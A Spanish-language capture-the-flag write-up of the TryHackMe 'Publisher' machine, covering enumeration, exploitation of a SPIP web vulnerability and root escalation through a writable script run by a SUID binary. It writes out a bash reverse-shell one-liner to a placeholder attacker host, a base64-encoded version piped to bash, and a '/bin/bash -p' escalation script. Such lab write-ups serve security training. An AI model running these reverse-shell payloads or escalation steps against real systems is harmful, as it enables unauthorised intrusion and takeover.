XUT_ / MACHINES / THM

0008

Publisher

THMMACHINENONEEASY

Introduction

publisher

La máquina CTF "Publisher" es un entorno simulado que contiene algunos servicios. Mediante una serie de técnicas de enumeración, incluyendo directory fuzzing e identificación de versiones, se descubre una vulnerabilidad, permitiendo RCE. Intenta escalar privilegios usando binarios personalizados que están escondidos mediante acceso restringido al sistema de ficheros, necesitando una exploración más profunda en el perfil de seguridad del sistema para finalmente explotar un loophole que permite la ejecución de una shell bash y conseguir escalada de privilegios.

Finding the Flags

Escaneo Inicial

Empezamos el reconocimiento inicial listando los puertos abiertos.

publisher

Escaneamos dichos puertos más en profundidad.

publisher

Vamos a proceder a enumerar directorios.

publisher

Enumeramos más directorios.

publisher

Escaneamos manualmente el sitio web en busca de pistas que puedan ayudarnos.

publisher

Por lo que se ve parece que el vector de ataque va a ser Spip, vamos a ver qué es.


Profundización

Vamos a buscar la versión de SPIP usada en el sitio web.

publisher

Miramos el código fuente en busca de la versión.

publisher

Parece que hemos encontrado la versión, ahora buscaremos un exploit.

publisher


Explotación

Copiamos el código en nuestra máquina y lo intentamos ejecutar.

Para hacer esto primero tenemos que preparar un payload y encodearlo para poder transmitir los caracteres especiales por HTTP.

bash
bash -c 'bash -i >& /dev/tcp/IP_ATACANTE/PUERTO_ATACANTE 0>&1'

Tenemos que codificarlo en base 64 y luego pasarle por el pipe el decode de base64 y el comando de consola para que lo ejecute.

bash
"echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE1MS4xNDkvNDQ0NCAwPiYxCg== | base64 -d | bash"

Este será el payload en mi caso (para mi IP y el puerto 4444).

Ponemos el puerto en escucha (usaremos rlwrap para estabilizar la shell).

publisher

Y procedemos a usar el exploit.

publisher

Nos da un error por falta de dependencias. Vamos a editar el exploit.

publisher

Volvemos a probar.

publisher

Acabamos de ganar una consola.

publisher

Ahora la estabilizamos.

publisher

Vamos a buscar la flag.


Pivotaje

Somos el usuario www-data por lo que necesitaremos pivotar hacia otro usuario. Aprovechando que estamos viendo un directorio .ssh/ en el home/ del usuario think vamos a ver si podemos ver la clave privada.

publisher

Acabamos de encontrar una clave privada admitida por el servidor. Nos la copiaremos y la usaremos para iniciar sesión por ssh.


Escalada de Privilegios

Habiendo entrado ya por ssh comienza la gesta de intentar escalar los privilegios para poder leer la flag de root.

Después de probar un par de técnicas encontramos lo siguiente:

publisher

El ejecutable /usr/sbin/run_container no es un binario SUID común en Linux, por lo que profundizaremos sobre él.

publisher

Si nos fijamos en la respuesta del comando, parece que hay un error en /opt/run_container.sh. Vamos a ver qué pasa con él.

publisher

CAUTION: Tiene permisos 777, lo que implica que todo el mundo puede modificarlo, esto es un peligro.

Vamos a leerlo de todas formas pero parece que hemos encontrado nuestra gallina de los huevos de oro.

publisher

Con razón falla, la función validate_container_id no está definida en todo el código.

Pero bueno, vamos a sustituir todo este script por un simple:

bash
#!/bin/bash
/bin/bash -p

El problema es que por algún motivo, pese a los permisos no nos deja modificarlo:

publisher

Vamos a ver qué consola tiene nuestra sesión:

publisher

Parece que no está usando bash.

Vamos a buscar directorios escribibles.

publisher

Nos vamos al directorio /dev/shm. Allí copiamos /bin/bash y lo ejecutamos.

publisher

Ahora ya tenemos una shell bash y podemos modificar /opt/run_container.sh.

publisher

Por último ejecutamos el binario SUID, lo que nos devuelve una shell con privilegios y leemos la flag.

publisher